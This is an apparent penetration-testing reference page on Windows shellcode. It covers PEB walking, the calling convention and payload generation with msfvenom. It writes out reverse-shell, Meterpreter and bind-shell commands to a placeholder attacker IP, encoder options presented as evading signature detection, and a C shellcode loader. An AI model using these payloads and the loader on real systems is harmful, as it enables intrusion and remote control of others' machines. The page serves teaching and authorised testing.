Windows Shellcode

Overview

Windows shellcode differs fundamentally from Linux shellcode. Linux shellcode calls the kernel directly via syscall numbers that are stable across versions. Windows shellcode must resolve Win32 API function addresses at runtime because DLL base addresses change with every Windows release, patch, and due to ASLR.

The standard technique is PEB walking — navigating Windows internal structures to find loaded DLL base addresses, then parsing the DLL's export table to locate functions like WinExec, CreateProcessA, or LoadLibraryA.

ATT&CK Mapping

  • Tactic: TA0002 - Execution
  • Technique: T1059 - Command and Scripting Interpreter

Prerequisites

  • msfvenom (primary tool for generating Windows shellcode)
  • Understanding of Windows PE format and API resolution concepts
  • Cross-compilation tools (if compiling on Linux): x86_64-w64-mingw32-gcc

Windows API Resolution

Windows shellcode cannot hardcode API addresses — they change between OS versions and due to ASLR. Instead, shellcode resolves functions at runtime through a process known as PEB walking.

PEB Walking Concept

  1. Access the Process Environment Block (PEB) via the Thread Environment Block (TEB), stored at gs:[0x60] (x64) or fs:[0x30] (x86)
  2. From the PEB, access PEB->Ldr (PEB_LDR_DATA) — contains the loaded module list
  3. Walk the InMemoryOrderModuleList to find the target DLL (e.g., kernel32.dll)
  4. Parse the DLL's PE export directory to find the function by name or hash
  5. Call the resolved function address

Common API Targets

DLL Function Purpose
kernel32.dll WinExec Execute a command
kernel32.dll CreateProcessA Spawn a process
kernel32.dll LoadLibraryA Load additional DLLs
kernel32.dll GetProcAddress Resolve function by name
kernel32.dll VirtualAlloc Allocate executable memory
kernel32.dll ExitProcess Clean exit
ws2_32.dll WSAStartup Initialize Winsock
ws2_32.dll WSASocketA Create network socket
ws2_32.dll connect Connect to remote host

Once GetProcAddress and LoadLibraryA are resolved, any other function in any DLL can be loaded dynamically.

msfvenom Windows Shellcode

msfvenom is the primary tool for generating Windows shellcode. It handles PEB walking and API resolution internally.

# msfvenom
# https://github.com/rapid7/metasploit-framework

# Execute calc.exe (testing payload)
msfvenom -p windows/x64/exec CMD=calc.exe -f c

# Execute cmd.exe
msfvenom -p windows/x64/exec CMD=cmd.exe -f c

# Reverse shell (staged — requires Metasploit handler)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

# Reverse shell (stageless — standalone)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

# Meterpreter reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

# Bind shell
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f c

# Avoid bad characters (triggers encoding)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 \
    -b '\x00\x0a\x0d' -f c

# Output as raw binary
msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin

# Output as Python
msfvenom -p windows/x64/exec CMD=calc.exe -f python

# Output as C# byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp

# Output as PowerShell byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f ps1

x86 (32-bit) Windows Payloads

# msfvenom
# https://github.com/rapid7/metasploit-framework

# 32-bit reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

# 32-bit meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

Staged vs Stageless

Type Payload Example Size Requirement
Staged windows/x64/meterpreter/reverse_tcp Small (~510 bytes) Metasploit handler required
Stageless windows/x64/meterpreter_reverse_tcp Large (~227 KB) Self-contained

Staged payloads contain a small first stage that connects back and downloads the full payload. Stageless payloads contain everything needed to execute independently.

Encoders

Encoders transform shellcode to avoid bad characters or evade basic signature detection:

# msfvenom
# https://github.com/rapid7/metasploit-framework

# List available encoders
msfvenom --list encoders

# Encode with shikata_ga_nai (x86 only)
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 \
    -e x86/shikata_ga_nai -i 3 -f c

# Encode x64 payload with xor_dynamic
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 \
    -e x64/xor_dynamic -f c

Key flags: - -e — encoder name - -i — number of encoding iterations - -b — bad characters (msfvenom auto-selects an encoder when -b is used)

Windows Calling Convention (x64)

Windows x64 uses the Microsoft x64 calling convention, which differs from the System V convention used on Linux:

Register Purpose
RCX 1st argument
RDX 2nd argument
R8 3rd argument
R9 4th argument
Stack 5th+ arguments
RAX Return value

Windows x64 also requires a 32-byte "shadow space" on the stack before every function call — space reserved for the callee to spill register arguments.

Cross-Compiling Windows Binaries on Linux

For testing Windows shellcode loaders on Linux:

# Install MinGW cross-compiler
sudo apt install -y mingw-w64

# Compile a Windows shellcode loader (x64)
x86_64-w64-mingw32-gcc -o loader.exe loader.c

# Compile with no protections (for testing)
x86_64-w64-mingw32-gcc -o loader.exe loader.c -Wl,--no-dynamicbase

# Compile 32-bit
i686-w64-mingw32-gcc -o loader32.exe loader.c

Shellcode Loader Template (C)

A basic Windows shellcode loader for testing (compile with MinGW):

// loader.c — cross-compile: x86_64-w64-mingw32-gcc -o loader.exe loader.c
#include <windows.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0..."  // replace with msfvenom output
;

int main() {
    void *exec = VirtualAlloc(NULL, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    return 0;
}

This loader: 1. Allocates RWX (read-write-execute) memory with VirtualAlloc 2. Copies the shellcode into the allocated memory 3. Casts the memory to a function pointer and calls it

References

Tools

MITRE ATT&CK